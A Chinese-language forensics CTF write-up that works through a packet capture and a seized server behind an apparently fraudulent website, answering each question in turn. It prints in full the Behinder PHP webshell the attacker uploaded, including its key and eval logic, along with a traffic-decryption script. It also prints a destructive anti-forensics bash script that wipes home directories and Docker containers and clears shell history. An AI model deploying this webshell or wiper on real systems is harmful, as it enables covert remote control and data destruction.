用 WireShark 或者科来网络分析系统(Csnas)都行, 我个人做取证的时候比较喜欢用 Csnas, 做 CTF 的时候喜欢用 WireShark. 这里就以 Csnas 为例.
01 给出管理员对 web 环境进行管理的工具名¶
答案
宝塔
在识别到的应用中可以看到 WordPress, 所以至少应该是一个 LAMP 的集成工具之类的东西.

在 TCP 会话中看到了熟悉的域名 bt.cn, 有宝塔面板的流量:

02 给出攻击者的 ip 地址是¶
答案
192.168.209.135
在 HTTP POST 请求的流量中看到 IP 地址 192.168.209.135 在尝试爆破 WordPress 服务中的用户名:

03 给出攻击者爆破出的网站非管理员用户名是¶
答案
saber
查看 192.168.209.135 与服务器 IP 192.168.209.147 之间的 IP 会话, 发现攻击者的大致攻击路径是:
- 扫描常见目录/文件, 发现有 WordPress 和一个疑似上传后门的
up_load.php, 由up_load.html调用: - 爆破 WordPress 的用户名密码
- 利用文件上传后门获取 WebShell
- 此外还有使用 sqlmap 进行 SQL 注入的攻击. 不过攻击者并没有通过 sqlmap 获得数据库信息
04 攻击者进行目录扫描得到的具有后门的页面 url 路径为¶
答案
/up_load.html
见上题.
05 攻击者通过修改请求包中的哪个字段导致恶意文件成功上传¶
答案
Content-Type
和 up_load.php 的几次交互:

查看包之后发现攻击者在修改 Content-Type 以绕过文件类型检测:



06 攻击者上传成功的恶意文件,该文件的临时存放路径是¶
答案
/tmp/php38mbeJ
接上题, 查看最后一个包的响应:

07 服务器 php 配置文件的存放位置¶
答案
/www/server/php/82/etc/php.ini
可以看到上传的是冰蝎自带的 php WebShell:
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
提取流量包中对 POST /uploaded_img/cont.php 的请求的响应体(Base64 串), 写一个简单的脚本对其进行解析:
import re
import json
from pathlib import Path
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
def decrypt(data: bytes) -> bytes:
key = b"e45e329feb5d925b"
iv = b"\x00" * 16
cipher = AES.new(key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(data), 16)
def find_interacts(stream: list[str]) -> list[str]:
return [line for line in stream if line.startswith("3Mn1") or line.startswith("mAUY")]
def parse_req(req: str) -> dict[str, str]:
req_raw = b64decode(req.encode())
req_dec = decrypt(req_raw).decode("latin1")
pattern_b64 = r"'(.*)'"
b64_match = re.findall(pattern_b64, req_dec)[0]
php = b64decode(b64_match.encode("latin1")).decode()
pattern_cmd = r'cmd="([A-Za-z0-9+/=]+)";'
cmd_match = re.findall(pattern_cmd, php)
cmd = ""
if cmd_match:
cmd = cmd_match[0]
cmd = b64decode(cmd).decode("utf-8")
pattern_path = r'path="([A-Za-z0-9+/=]+)";'
path_match = re.findall(pattern_path, php)
path = ""
if path_match:
path = path_match[0]
path = b64decode(path).decode("utf-8")
j = {
"cmd": cmd,
"path": path
}
return j
def parse_resp(resp: str) -> dict[str, str|dict]:
resp_raw = b64decode(resp.encode())
resp_dec = decrypt(resp_raw).decode("latin1")
ob: dict = json.loads(resp_dec)
status, msg = tuple(ob.values())
status = b64decode(status).decode("utf-8")
if msg:
msg = b64decode(msg).decode("utf-8")
try:
msg = {k : b64decode(v).decode("utf-8")
for k, v in json.loads(msg).items()}
except:
pass
j = {
"status": status,
"msg": msg
}
return j
def parse_stream(stream_file: str | Path,
output_file: str | Path) -> None:
stream = list()
with open(stream_file, "r", encoding="utf-8") as f:
stream = f.readlines()
interacts = find_interacts(stream)
with open(output_file, "w", encoding="utf-8") as f:
for idx, pac in enumerate(interacts):
if not idx % 2:
f.write(f"Packet {idx // 2 + 1} \n")
if pac.startswith("3Mn1"):
f.write("Direct -> \n")
j = parse_req(pac)
f.write(f"- Command: {j.get("cmd", "")}\n")
f.write(f"- WorkingDir: {j.get("path", "")}\n")
f.write("\n")
if pac.startswith("mAUY"):
f.write("Direct <- \n")
j = parse_resp(pac)
f.write(f"- Status: {j.get("status", "")}\n")
f.write(f"- MSG: {j.get("msg", "")}\n")
f.write("\n")
if idx % 2:
f.write("\n")
if __name__ == "__main__":
stream_file = "stream_file"
output_file = "output.txt"
parse_stream(stream_file, output_file)
在响应中找到传回的 phpinfo 的 html 页面:

找到 php 配置文件目录:

08 被攻击的 web 环境其数据库密码是¶
答案
X847Z3QzF1a6MHjR
还是在冰蝎的流量中:

对流量进行解密之后, 看到攻击者读取了 wp-config.php 文件:

09 服务器管理存放临时登录密码的位置¶
答案
/tmp/tmppass
在冰蝎的流量中:


10 黑客获取的高权限主机的登录密码¶
答案
passwd!@#
见上题
服务器取证¶

01 服务器会做登录密码验证,该登录验证文件位置在¶
答案
/etc/profile.d/check-system.sh
如果使用火眼仿真的自动清除密码功能, 开机自启的某个检查程序会识别到密码与原本的不同, 而删掉数据库等文件:


Linux 中开机自启的脚本一般在 /etc/profile.d 或者 bashrc 里面. /etc/profile.d/check-system.sh 为实现该功能的脚本:
#!/usr/bin/env bash
OLD=""
if [ -f /etc/.cadpc ]; then
OLD="$(cat /etc/.cadpc)"
fi
CURRENT="$(cat /etc/shadow | sha256sum | awk -F ' ' '{print $1}')"
if [ "$OLD" != "$CURRENT" ]; then
echo "Illegal login detected!!!"
rm -rf /etc/profile.d/check-system.sh
docker rm -f $(docker ps -aq)
rm -rf /opt/proxy/
rm -rf /opt/install.sh
rm -rf /root/ntp-tunnel
rm -rf /root/sock5-tunnel
rm -rf /home/*
rm -rf /root/.docker/config.json
docker image prune -af
cat /dev/null > ~/.bash_history
echo "" > ~/.bashrc
hostnamectl set-hostname localhost
history -c
fi
存储 SHA256 的文件 /etc/.cadpc:
解决方案有好几种:
- 重置密码. 启动系统前时编辑 Grub, 通过单用户模式删除该脚本.
- 重置密码. 正常登录用户, 接着拼手速, 狂按
Ctrl + C, 中断脚本运行. - 不重置密码, 使用之前手机检材中获取的密码登录.
02 服务器 ssh 端口是¶
答案
12320

03 服务器 docker 内有多少个镜像¶
答案
7


04 服务器内 sqlserver 默认账号的密码是¶
答案
<ci7uFtnkTv8>
在 /var/lib/docker/containers/392e75f460f47eafd270de2ba543439e89d99bfad6325e79806984ce549e6286 找到 sqlserver 的容器文件:

在 config.v2.json 中看到预设的环境变量(\u003c 和 \u003e 分别是 < 和 >):

05 服务器内 sqlserver 存放了阿里云存储下载地址,该下载地址是¶
答案
https://xinfenfa.oss-accelerate.aliyuncs.com
启动容器:

连接数据库, MS SQLServer 的默认用户名是 sa:

在数据库 cjj 的表 cmf_config 中找到阿里云存储下载地址:

06 服务器内 sqlserver 内 “cmf_user_action_log” 表,表内存在的用户操作日志,一共操作次数是¶
答案
99684318
字段 counts 是执行操作的次数, SQL 语句查询:
07 该服务器正在使用的数据库的持久化目录是¶
答案
/data/mongo
本题存疑
本题的题目描述或许有误: 题目描述存在疑义.
正确的题目描述应为: "该服务器正在使用的数据库在容器中的持久化目录是".
nginx -t 确定有 Nginx, 配置在 /etc/nginx/nginx.conf:

Nginx 配置内容:
http {
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 4096;
include /etc/nginx/mime.types;
default_type application/octet-stream;
# Load modular configuration files from the /etc/nginx/conf.d directory.
# See http://nginx.org/en/docs/ngx_core_module.html#include
# for more information.
include "/etc/nginx/conf.d/*.conf";
server {
listen 80;
listen [::]:80;
server_name _;
root /usr/share/nginx/html;
# Load configuration files for the default server block.
include "/etc/nginx/default.d/*.conf";
error_page 404 /404.html;
location = /404.html {
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
}
}
站点配置位于 /etc/nginx/conf.d/bl.dsnbbaj686.fit.conf:
server {
listen 80;
server_name bl.dsnbbaj686.fit;
root /opt/bl.dsnbbaj686.fit/www/public;
index index.html index.htm index.php;
location / {
if (!-e $request_filename) {
rewrite ^(.*)$ /index.php?s=$1 last; break;
}
}
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ {
expires 100d;
error_log /dev/null;
access_log off;
}
location ~ .*\.(js|css)?$ {
expires 30d;
error_log /dev/null;
access_log off;
}
location ~ \.php(/|$) {
fastcgi_index index.php;
fastcgi_pass 127.0.0.1:9000;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
站点目录在 /opt/bl.dsnbbaj686.fit/www/public, 是个 ThinkPHP 站点:


/opt/bl.dsnbbaj686.fit/www/app/database.php 内的配置:
<?php
return [
'type' => 'mongo',
'hostname' => '127.0.0.1',
'database' => 'lok1',
'username' => 'mongoadmin',
'password' => 'RvbwSG3dqgZQ',
'hostport' => '27017',
'dsn' => '',
'params' => [],
'charset' => 'utf8',
'prefix' => 'app_',
'debug' => true,
'deploy' => 0,
'rw_separate' => false,
'master_num' => 1,
'slave_no' => '',
'fields_strict' => true,
'resultset_type' => 'array',
'auto_timestamp' => true,
'datetime_format' => 'Y-m-d H:i:s',
'sql_explain' => false,
];
使用的是 Docker 容器中的 MongoDB, 查看 Docker 容器的信息:

不知道答案应该填容器内的目录还是映射目录.
08 该网站后台正在使用的数据库有多少个集合¶
答案
13
使用 ThinkPHP 配置中获取的认证信息连接 MongoDB:


可以看到一共有 13 个集合.
09 该网站的后台登录地址是¶
答案
/appmanager/common/login.shtml
把整个网站的源码传到本地, 这个过程中火绒报了一个后门:

源码在 app 目录中, 其中 route.php 中包含路由:

路由信息保存在数据库的 app_urlconfig 集合中, 集合名称前缀在 database.php 中可以看到. 查看该集合:

ThinkPHP 中 URL 的典型结构是 <EntranceFile>/<Module>/<Controller>/<操作(方法名称)><伪静态后缀(可选)>. 从目录结构看, appmanager 文件夹明显是后台管理模块, 在 Common.php 中, 定义了一个名为 Common 的 Controller, 其中包含用于处理登录逻辑和显示登录页面的 login 方法. 在 app/config.php 中 可以看到伪静态后缀是 .shtml ('url_html_suffix' => 'shtml'). 因此整个后台的 URL 应该是 /appmanager/common/login.shtml.
另外, ThinkPHP 的日志文件位于 runtime 目录. 在日志文件中可以看到用户访问的后台界面的 URL:

10 该网站后台使用的管理员加密算法是¶
答案
bcrypt
在数据库的 app_admin 集合中:

明显是 bcrypt.
11 该网站最早使用超级管理员进行删除管理员操作的 IP 地址是¶
答案
117.132.191.203
在数据库的 app_admin_log 集合里可以看到记录了 admin_menu_id & ip & operation_id:

在 app/appmanager/controller/index.php 中可以看到获取 menu 的逻辑:

数据库的 app_admin_menu 集合中的数据:

可以看到"删除管理员"的 id 为 26, 对应的方法是 appmanager/admin/delete. 在 app_admin_log 中筛选 admin_menu_id = 26 的数据:

12 该网站后台上传过 sha256 值为 “b204ad1f475c7716daab9afb5f8d61815c508f2a2b1539bc1f42fe2f212b30d1” 的压缩包文件,该文件内的账单交易订单号是¶
答案
20240321000000005443369778283185
上传文件正常情况下都在 public/uploads 目录里, 用 HashMyFiles 计算目录下所有文件的哈希, 找到目标文件:


发现有加密. 但是上级目录带有注释, 提示密码是 5 位字母+数字.
恶心的点是, 这里使用的压缩格式是 WinZIP(哈希以 $zip2$*0*3*0 开头, 对应 HashCat 的 13600), 但 HashCat 最大支持 8KB 的哈希, 这个加密文件提取出来的哈希达到了 239KB, 无法用 HashCat 爆破. 至于为什么哈希这么大, 可以参考 Zip2john is incompatible with hashcat · Issue #2186 · hashcat/hashcat.
Passware 又不支持 CudaAPI, 速度明显不如 HashCat. 幸亏密码在爆破序列比较前面的位置, 不然就真的很费时间了:

txt 文件里面是个 Base64 编码的图片, 解码:


13 该网站存在网站数据库备份功能,该功能的接口地址是¶
答案
/appmanager/databackup/export

但是答案给的是 /appmanager/databackup, 我不理解为什么. 题目改成"该网站存在网站数据库备份 管理 功能,该功能的接口地址是"才合理.
14 该网站存放银行卡信息数据表中,其中信息数量前十的公司对应旗下 visa 银行卡一共有多少金额¶
答案
21701599.63
MongoDB 查询语句:
db.app_card.aggregate([
{
$facet: {
topCompanies: [
{
$group: {
_id: "$company",
count: { $sum: 1 }
}
},
{ $sort: { count: - 1 } },
{ $limit: 10 }
]
}
},
{ $unwind: "$topCompanies" },
{
$lookup: {
from: "app_card",
let: { companyName: "$topCompanies._id" },
pipeline: [
{
$match: {
$expr: { $eq: ["$company", "$$companyName"] },
card_no: /^4/
}
},
{
$group: {
_id: "$company",
total: { $sum: { $toDouble: "$money" } }
}
}
],
as: "visaCards"
}
},
{
$project: {
company: "$topCompanies._id",
total: { $ifNull: [{ $arrayElemAt: ["$visaCards.total", 0] }, 0] }
}
}
])

不熟悉 MongoDB 的话可以用 Navicat 导出到 Excel, 在 Excel 里面处理. 题目中隐含条件: VISA 卡的卡号首位为 4.
15 该网站在 2023 年 2 月共获取了多少条通信记录¶
答案
2879
本题存疑
本题的题目描述或许有误: 答案与题目描述不一致.
正确的题目描述应为: "该网站在 2023 年 2 月共获取了多少条电话号码".
时间起止范围的时间戳:

整个数据库中和通信有关的只有 app_mobile 这一个集合, 但这实际上只是姓名和电话号码的二元组, 并不能算是通信记录. 然而看官方给出的答案, 确实以该集合的数据为准, 也许是题目描述有误.
16 该网站的一条管理员信息存在数据篡改,请分析是哪个管理员信息遭到篡改,该管理员用户名是¶
答案
xYpMLuROhNl
在管理员集合 app_admin 中, 有一个管理员 xYpMLuROhNl 的 login_time 早于 create_time, 应为被篡改的数据:








